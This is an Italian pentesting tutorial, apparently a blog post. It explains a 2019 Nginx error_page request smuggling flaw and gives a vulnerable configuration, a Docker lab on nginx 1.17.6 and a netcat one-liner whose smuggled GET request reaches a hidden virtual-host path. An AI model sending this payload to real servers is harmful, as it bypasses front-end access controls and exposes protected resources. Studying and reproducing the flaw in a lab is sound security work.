Appunti WAPT: Nginx error_page Request Smuggling
Bert JW Regeer e Francisco Oca Gonzalez hanno scoperto come sfruttare una vulnerabilità della direttiva error_page di Nginx per eseguire una HTTP Request Smuggling e ottenere accesso a dati "non-direttamente-esposti" dal front-end.
Nel primo articolo di questa serie di appunti abbiamo visto come causare una desincronizzazione tra front-end e back-end per sfruttare una HTTP Request Smuggling e ottenere accesso ad aree riservate di una web application eludendo le security policy del front-end. In questo secondo articolo vedremo nel dettaglio una vulnerabilità di Nginx (anche se, a prima vista, qualcuno potrebbe pensare più a una misconfiguration), scoperta recentemente, a dicembre 2019, da Bert JW Regeer e Francisco Oca Gonzalez in cui una request GET inviata con header Content-Length e relativo body, induce Nginx a interpretare il request body come una seconda e nuova request HTTP.
Il caso specifico in cui ciò accade è (o meglio era) dovuto all'utilizzo di error_page in una configurazione di questo tipo:
server {
listen 80;
server_name localhost;
error_page 401 http://example.org;
location / {
return 401;
}
}
server {
listen 80;
server_name notlocalhost;
location /_hidden/index.html {
return 200 'This should be hidden!';
}
}
Coloro i quali hanno dimestichezza con Nginx, sapranno sicuramente che error_page è una direttiva del core_module del server web che permette di specificare un URI che verrà mostrato per uno o più specifici response error code. Il classico modo in cui si utilizza error_page è:
error_page 404 /404.html;
La problematica scoperta da Bert JW Regeer e Francisco Oca Gonzalez esiste nel momento in cui il secondo parametro di error_page non è una risorsa locale ma un URL, come si può vedere alla quarta riga della configurazione qui sopra.
Dalla documentazione ufficiale di Nginx, infatti:
I due ricercatori forniscono un esempio di come, in questo caso, una vulnerabilità come HTTP Request Smuggling potrebbe essere sfruttata per ottenere accesso a /_hidden/index.html:
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
Alla terza riga viene inviato l'header Content-Length valorizzato a 56 bytes nonostante il metodo sia GET e quindi, in teoria, senza alcun body e quindi senza bisogno di specificarne la lunghezza.
Nginx, in questo caso specifico, interpretava come una nuova reuqest ciò che per lo standard del protocollo dovrebbe rappresentare il body della request. Questo fa sì che il client ottenga facilmente accesso a una risorsa che, per come è stato configurato il server web, non dovrebbe ottenere.
Se vi steste chiedendo: "per quale incomprensibile e fantasioso motivo si dovrebbe configurare un URL come parametro di error_page", sappiate che è una prassi piuttosto comune nonchè una best practice consigliata da WordPress (sul sito ufficiale https://wordpress.org/support/article/brute-force-attacks/). Ciò che WordPress consiglia in questo caso è la configurazione di un URL esterno, per ogni response error 401, nel caso l'utente decida di non dare accesso al form di login contenuto in /wp-login.php per proteggersi da attacchi Brute-Force.
PoC || GTFO
Possiamo testare questa vulnerabilità eseguendo il container docker con l'immagine ufficiale di Nginx alla versione 1.17.6 ospitata su docker hub. Per prima cosa generiamo il file di configurazione:
# cat <<EOF > default.conf
server {
listen 80;
server_name localhost;
error_page 401 http://example.org;
location / {
return 401;
}
}
server {
listen 80;
server_name notlocalhost;
location /_hidden/index.html {
return 200 'This should be hidden!';
}
}
EOF
Fatto questo, abbiamo il file default.conf che possiamo montare all'interno del container sostituendo il file di configurazione di default. Eseguiamo quindi il container in questo modo:
docker run -ti --rm \
--name nginx-error-page-test \
-p 1337:80 \
-v $(pwd)/default.conf:/etc/nginx/conf.d/default.conf \
nginx:1.17.6
In questo modo avremo Nginx in ascolto sulla porta 1337, possiamo testarlo con:
$ curl -v localhost:1337
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 1337 (#0)
> GET / HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.17.6
< Date: Sun, 29 Dec 2019 10:29:59 GMT
< Content-Type: text/html
< Content-Length: 145
< Connection: keep-alive
< Location: http://example.org
<
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
Come si evince dal response header Location, Nginx rimanda il client all'indirizzo configurato su error_page http://example.com.
In questo specifico caso, possiamo sfruttare l'errata interpretazione del body di Nginx per eseguire HTTP Request Smuggling e ottenere il contenuto della location /_hidden/index.html nel "virtual-host" notlocalhost. Per farlo possiamo inviare questa request che abbiamo visto all'inizio usando semplicemente netcat:
echo -en "GET /a HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Content-Length: 56\r\n\r\n"\
"GET /_hidden/index.html HTTP/1.1\r\n"\
"Host: notlocalhost\r\n\r\n" | nc localhost 1337
Inviando questa request otteniamo accesso a /_hidden/index.html, e dovreste avere questo tipo di risultato:
Molto interessanti sono anche le differenze nei log di Nginx rispetto alla request inviata via curl: